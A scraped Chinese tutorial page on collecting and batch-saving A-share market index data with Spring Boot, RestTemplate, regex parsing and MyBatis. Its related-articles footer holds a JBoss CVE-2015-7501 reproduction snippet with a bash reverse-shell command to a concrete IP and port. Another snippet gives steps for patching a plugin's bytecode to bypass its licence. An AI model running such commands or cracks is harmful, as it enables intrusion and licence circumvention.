今日指数项目A股大盘数据采集

1、A股大盘数据采集

1.1 A股大盘数据采集准备

1.1.1 配置ID生成器bean

A股大盘数据采集入库时,主键ID保证唯一,所以在stock_job工程配置ID生成器:

@Configuration
public class CommonConfig {/*** 配置基于雪花算法生成全局唯一id*   参与元算的参数: 时间戳 + 机房id + 机器id + 序列号*   保证id唯一* @return*/@Beanpublic IdWorker idWorker(){//指定当前为1号机房的2号机器生成return new IdWorker(2L,1L);}
}  
1.1.2 股票常量数据配置

1) 配置股票地址参数

在stock_job工程下,定义股票相关配置文件application-stock.yml,该文件与stock_backend下的配置一致,然后我们把大盘、板块、股票相关的通用参数配置进来:

# 配置股票相关的参数
stock:inner: # 国内大盘ID- sh000001 # 上证ID- sz399001 #  深证IDouter: # 外盘ID- int_dji # 道琼斯- int_nasdaq # 纳斯达克- int_hangseng # 恒生- int_nikkei # 日经指数- b_TWSE # 台湾加权- b_FSSTI # 新加坡marketUrl: http://hq.sinajs.cn/list=blockUrl: http://vip.stock.finance.sina.com.cn/q/view/newSinaHy.php    

2)股票常量数据封装

在stock_common工程继续完善StockInfoConfig类:

package com.itheima.stock.pojo.domain;import lombok.Data;
import org.springframework.boot.context.properties.ConfigurationProperties;
import java.util.List;
/*** @author by itheima* @Date 2021/12/30* @Description*/
@ConfigurationProperties(prefix = "stock")
@Data
public class StockInfoConfig {//a股大盘ID集合private List<String> inner;//外盘ID集合private List<String> outer;//大盘参数获取urlprivate String marketUrl;//板块参数获取urlprivate String blockUrl;
}

2) 在公共配置类上开启配置

@EnableConfigurationProperties(StockInfoConfig.class)//开启常用参数配置bean
@Configuration
public class CommonConfig {//......
} 
1.1.3 A股大盘响应数据说明

在这里插入图片描述

var hq_str_sh000001="上证指数,3358.9338,3361.5177,3398.6161,3417.0085,3358.9338,0,0,381243178,510307202948,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2022-06-30,15:30:39,00,";
参数说明:
0:指数名称
1:开盘点
2:前收盘点
3:当前点
4:最高点
5:最低点
8:成交量
9:成交金额
30:当前日期
31:当前时间

1.2 java正则回顾

​ 上一小结我们发现,采集的大盘数据是标准的Js格式数据(非json),需要我们自行解析处理,显然在批量解析数据时,我们可借助java的正则实现,所以接下来我们回顾下前面讲的关于正则的一些知识点。

重点应用:

  • 正则表达式理解;
  • 捕获组理解;
  • 核心类:Pattern、Matcher;

参考:day05\资料\基础知识点预习\Java正则表达式.mhtml

    @Testpublic void testRep2(){// 按指定模式在字符串查找String line = "This order was placed for QT3000! OK?";String pattern = "(\\D*)(\\d+)(.*)";// 创建 Pattern 对象Pattern r = Pattern.compile(pattern);// 现在创建 matcher 对象Matcher m = r.matcher(line);if (m.find( )) {System.out.println("Found value: " + m.group(0) );System.out.println("Found value: " + m.group(1) );System.out.println("Found value: " + m.group(2) );System.out.println("Found value: " + m.group(3) );} else {System.out.println("NO MATCH");}}

1.3 A股大盘数据采集实现

在这里插入图片描述

1.3.1 定义A股大盘数据采集服务

在stock_job工程下定义服务接口:

/*** @author by itheima* @Description 定义采集股票数据的定时任务的服务接口*/
public interface StockTimerTaskService {/*** 获取国内大盘的实时数据信息*/void getInnerMarketInfo();
} 

定义服务接口实现:

@Service("stockTimerTaskService")
@Slf4j
public class StockTimerTaskServiceImpl implements StockTimerTaskService {@Autowiredprivate RestTemplate restTemplate;@Autowiredprivate StockInfoConfig stockInfoConfig;@Autowiredprivate IdWorker idWorker;@Overridepublic void getInnerMarketInfo() {//1.定义采集的url接口String url=stockInfoConfig.getMarketUrl() + String.join(",",stockInfoConfig.getInner());//2.调用restTemplate采集数据//2.1 组装请求头HttpHeaders headers = new HttpHeaders();//必须填写,否则数据采集不到headers.add("Referer","https://finance.sina.com.cn/stock/");headers.add("User-Agent","Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36");//2.2 组装请求对象HttpEntity<Object> entity = new HttpEntity<>(headers);//2.3 resetTemplate发起请求String resString = restTemplate.postForObject(url, entity, String.class);//log.info("当前采集的数据:{}",resString);//3.数据解析(重要)
//        var hq_str_sh000001="上证指数,3267.8103,3283.4261,3236.6951,3290.2561,3236.4791,0,0,402626660,398081845473,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2022-04-07,15:01:09,00,";
//        var hq_str_sz399001="深证成指,12101.371,12172.911,11972.023,12205.097,11971.334,0.000,0.000,47857870369,524892592190.995,0,0.000,0,0.000,0,0.000,0,0.000,0,0.000,0,0.000,0,0.000,0,0.000,0,0.000,0,0.000,2022-04-07,15:00:03,00";String reg="var hq_str_(.+)=\"(.+)\";";//编译表达式,获取编译对象Pattern pattern = Pattern.compile(reg);//匹配字符串Matcher matcher = pattern.matcher(resString);ArrayList<StockMarketIndexInfo> list = new ArrayList<>();//判断是否有匹配的数值while (matcher.find()){//获取大盘的codeString marketCode = matcher.group(1);//获取其它信息,字符串以逗号间隔String otherInfo=matcher.group(2);//以逗号切割字符串,形成数组String[] splitArr = otherInfo.split(",");//大盘名称String marketName=splitArr[0];//获取当前大盘的开盘点数BigDecimal openPoint=new BigDecimal(splitArr[1]);//前收盘点BigDecimal preClosePoint=new BigDecimal(splitArr[2]);//获取大盘的当前点数BigDecimal curPoint=new BigDecimal(splitArr[3]);//获取大盘最高点BigDecimal maxPoint=new BigDecimal(splitArr[4]);//获取大盘的最低点BigDecimal minPoint=new BigDecimal(splitArr[5]);//获取成交量Long tradeAmt=Long.valueOf(splitArr[8]);//获取成交金额BigDecimal tradeVol=new BigDecimal(splitArr[9]);//时间Date curTime = DateTimeUtil.getDateTimeWithoutSecond(splitArr[30] + " " + splitArr[31]).toDate();//组装entity对象StockMarketIndexInfo info = StockMarketIndexInfo.builder().id(idWorker.nextId()).marketCode(marketCode).marketName(marketName).curPoint(curPoint).openPoint(openPoint).preClosePoint(preClosePoint).maxPoint(maxPoint).minPoint(minPoint).tradeVolume(tradeVol).tradeAmount(tradeAmt).curTime(curTime).build();//收集封装的对象,方便批量插入list.add(info);}log.info("采集的当前大盘数据:{}",list);//批量插入if (CollectionUtils.isEmpty(list)) {return;}//TODO 后续完成批量插入功能}
} 
1.3.2 A股大盘数据采集测试
package com.itheima.stock;import com.itheima.stock.job.service.StockTimerService;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;/*** @author by itheima* @Date 2022/1/1* @Description*/
@SpringBootTest
public class TestStockTimerService {@Autowiredprivate StockTimerTaskService stockTimerService;/*** 获取大盘数据*/@Testpublic void test01(){stockTimerService.getInnerMarketInfo();}
}    

效果:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

1.4 A股大盘批量保存

1.4.1 定义mapper接口方法

在StockMarketIndexInfoMapper接口添加方法:

    /*** 批量插入股票大盘数据* @param infos*/int insertBatch(List<StockMarketIndexInfo> infos);
1.4.2 绑定xml

在StockMarketIndexInfoMapper.xml添加SQL:

    <insert id="insertBatch">insert into stock_market_index_info( id,mark_Id,cur_time,mark_name,cur_point,current_price,updown_rate,trade_account,trade_volume)values<foreach collection="list" item="smi" separator=",">(#{smi.id,jdbcType=BIGINT},#{smi.markId,jdbcType=CHAR},#{smi.curTime,jdbcType=TIMESTAMP},#{smi.markName,jdbcType=VARCHAR},#{smi.curPoint,jdbcType=DECIMAL},#{smi.currentPrice,jdbcType=DECIMAL},#{smi.updownRate,jdbcType=DECIMAL},#{smi.tradeAccount,jdbcType=BIGINT},#{smi.tradeVolume,jdbcType=BIGINT})</foreach></insert>
1.4.3 国内大盘数据批量插入实现

注入mapper,然后批量插入:

    @Autowiredprivate StockMarketIndexInfoMapper stockMarketIndexInfoMapper;  /*** 获取国内大盘数据*/@Overridepublic void getInnerMarketInfo() {//....省略N行....//批量插入int count = this.stockMarketIndexInfoMapper.insertBatch(infos);log.info("批量插入了:{}条数据",count);}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/435871.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

springboot+大数据+基于协同过滤算法的校园食堂订餐系统【内含源码+文档+部署教程】

博主介绍&#xff1a;✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业毕业设计项目实战6年之久&#xff0c;选择我们就是选择放心、选择安心毕业✌ &#x1f345;由于篇幅限制&#xff0c;想要获取完整文章或者源码&#xff0c;或者代做&am…

Git常用方法——详解

一、下载安装git git官网&#xff1a; Git - Downloads (git-scm.com) 下载安装Git&#xff08;超详细超简单&#xff09;_git下载-CSDN博客 二、克隆下载至本地 1、复制HTTPS链接 在gitee或者gitLab或者gitHub上复制HTTPS链接 2、打开Open Git Bash here 在本地想要新建文…

闯关训练一:Linux基础

闯关任务&#xff1a;完成SSH连接与端口映射并运行hello_world.py 1.创建开发机 2.SSH连接 3. VS-Code 连接 选择 Linux 平台 &#xff0c;输入密码 &#xff0c;选择进入文件夹 4.端口映射 按照下文安装Docs pip install gradio 运行server.py import gradio as grdef …

工业制造场景中的设备管理深度解析

在工业制造的广阔领域中&#xff0c;设备管理涵盖多个关键方面&#xff0c;对企业的高效生产和稳定运营起着举足轻重的作用。 一、设备运行管理 1.设备状态监测 实时监控设备的运行状态是确保生产顺利进行的重要环节。通过传感器和数据采集系统等先进技术&#xff0c;获取设备…

新书速览|Stable Diffusion-ComfyUI AI绘画工作流解析

《Stable Diffusion-ComfyUI AI绘画工作流解析》 本书内容 《Stable Diffusion-ComfyUI AI绘画工作流解析》从零开始&#xff0c;详尽系统地讲解从本地部署ComfyUI、下载安装自定义节点&#xff0c;到搭建各种工作流程的全过程。同时&#xff0c;辅以3D形象转绘、艺术二维码和证…

思科dhcp的配置

以路由器为例 让pc3 自动获取ip地址并获取的网段为172.16.4.100-172.16.4.200 配置如下&#xff1a; R1(config)#interface GigabitEthernet0/2 R1(config)#ip address 172.16.4.254 255.255.255.0 R1(config)# no shutdown R1(config)#ip dhcp pool 4_pool //创建dhcp地址池…

【原创】java+swing+mysql企业招聘管理系统设计与实现

个人主页&#xff1a;程序员杨工 个人简介&#xff1a;从事软件开发多年&#xff0c;前后端均有涉猎&#xff0c;具有丰富的开发经验 博客内容&#xff1a;全栈开发&#xff0c;分享Java、Python、Php、小程序、前后端、数据库经验和实战 文末有本人名片&#xff0c;希望和大家…

【设计模式-模板】

定义 模板方法模式是一种行为设计模式&#xff0c;它在一个方法中定义了一个算法的骨架&#xff0c;并将一些步骤延迟到子类中实现。通过这种方式&#xff0c;模板方法允许子类在不改变算法结构的情况下重新定义算法中的某些特定步骤。 UML图 组成角色 AbstractClass&#x…

【DP解密多重背包问题】:优化策略与实现

文章目录 什么是多重背包问题&#xff1f;多重背包问题的数学模型 例题多重背包问题Ⅰ多重背包问题Ⅱ 总结 什么是多重背包问题&#xff1f; 多重背包问题是一个经典的组合优化问题。与标准背包问题不同&#xff0c;在多重背包问题中&#xff0c;每种物品可以选择多个&#xf…

基于php的律所管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码 精品专栏&#xff1a;Java精选实战项目…

MQTT--EMQX入门+MQTTX使用

目录 1、什么是EMQX&#xff1f;1.1 EMQX介绍1.2 EMQX特点1.3 与物联网之间的关系以及主要的产品主要的产品 2、安装启动2.1 基本命令2.2 目录结构 3、MQTTX客户端3.1 连接配置 总结PS: 1、什么是EMQX&#xff1f; 首先你得有MQTT的知识&#xff0c;不认识MQTT的小伙伴可以先看…

Squaretest单元测试辅助工具使用

1、idea安装插件 Squaretest 然后关掉idea 2、安装字节码软件&#xff08;jclasslib&#xff09; 3、找到idea里面的Squaretest安装目录 找到包含TestStarter的jar包 4、打开 com.squaretest.c.f 打开后选择常量池 5、找到第16个修改 Long value值&#xff0c;修改的数字即为使…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

nginx的安装和使用

源码安装 1.环境准备&#xff1a;卸载其他方式安装的web应用&#xff0c;防止端口冲突 2.下载nginx源码包 wget https://nginx.org/download/nginx-1.20.2.tar.gz 3.源码编译安装 yum install -y gcc pcre-devel zlib-devel #安装依赖包 useradd -M -s /sbin/nologin ngi…

pdf删除某些页面如何操作?学会这几种方法可以轻松删除pdf页面!

pdf删除某些页面如何操作&#xff1f;在日常办公的繁忙节奏中&#xff0c;PDF文档作为信息交流的重要载体&#xff0c;频繁地出现在我们的工作场景中&#xff0c;然而&#xff0c;在收集、整理这些PDF文件时&#xff0c;一个常见的问题便是文件中可能包含不必要的页面&#xff…

9.24-k8s服务发布

Ingress 使用域名发布 K8S 服务 部署项目 一、先部署mariadb [rootk8s-master ~]# mkdir aaa [rootk8s-master ~]# cd aaa/ [rootk8s-master aaa]# # 先部署mariadb [rootk8s-master aaa]# # configmap [rootk8s-master aaa]# vim mariadb-configmap.yaml apiVersion: v1 ki…

27 Vue3之unocss原子化

前置知识 什么是原子化 CSS 原子化 CSS 是一种 CSS 的架构方式&#xff0c;它倾向于小巧且用途单一的 class&#xff0c;并且会以视觉效果进行命名。 为什么使用 原子化 CSS 传统方案 制作原子化 CSS 的传统方案其实就是提供所有你可能需要用到的 CSS 工具。例如&#xff0c…

接口隔离原则(学习笔记)

客户端不应该被迫依赖于它不使用的方法&#xff1a;一个类对另一个类的依赖应该建立在最小的接口上。 上面的设计我们发现他存在的问题&#xff0c;黑马品牌的安全门具有防盗&#xff0c;防水&#xff0c;防火的功能。现在如果我们还需要再创建一盒传智品牌的安全门&#xff0c…

深入解析Excel文件格式:.xls与.xlsx的差异与应用指南

在当今的数据处理和办公自动化领域&#xff0c;Microsoft Excel 无疑是一款极为重要的工具。 它不仅广泛应用于日常的数据录入、计算和图表制作&#xff0c;而且也是数据分析、财务建模等专业 领域不可或缺的软件。Excel 的文件格式经历了多个版本的迭代&#xff0c;其中 .xl…

Java设计模式概述

设计模式&#xff08;Design pattern&#xff09;代表了最佳的实践&#xff0c;通常被有经验的面向对象的软件开发人员所采用。设计模式是软件开发人员在软件开发过程中面临的一般问题的解决方案。这些解决方案是众多软件开发人员经过相当长的一段时间的试验和错误总结出来的。…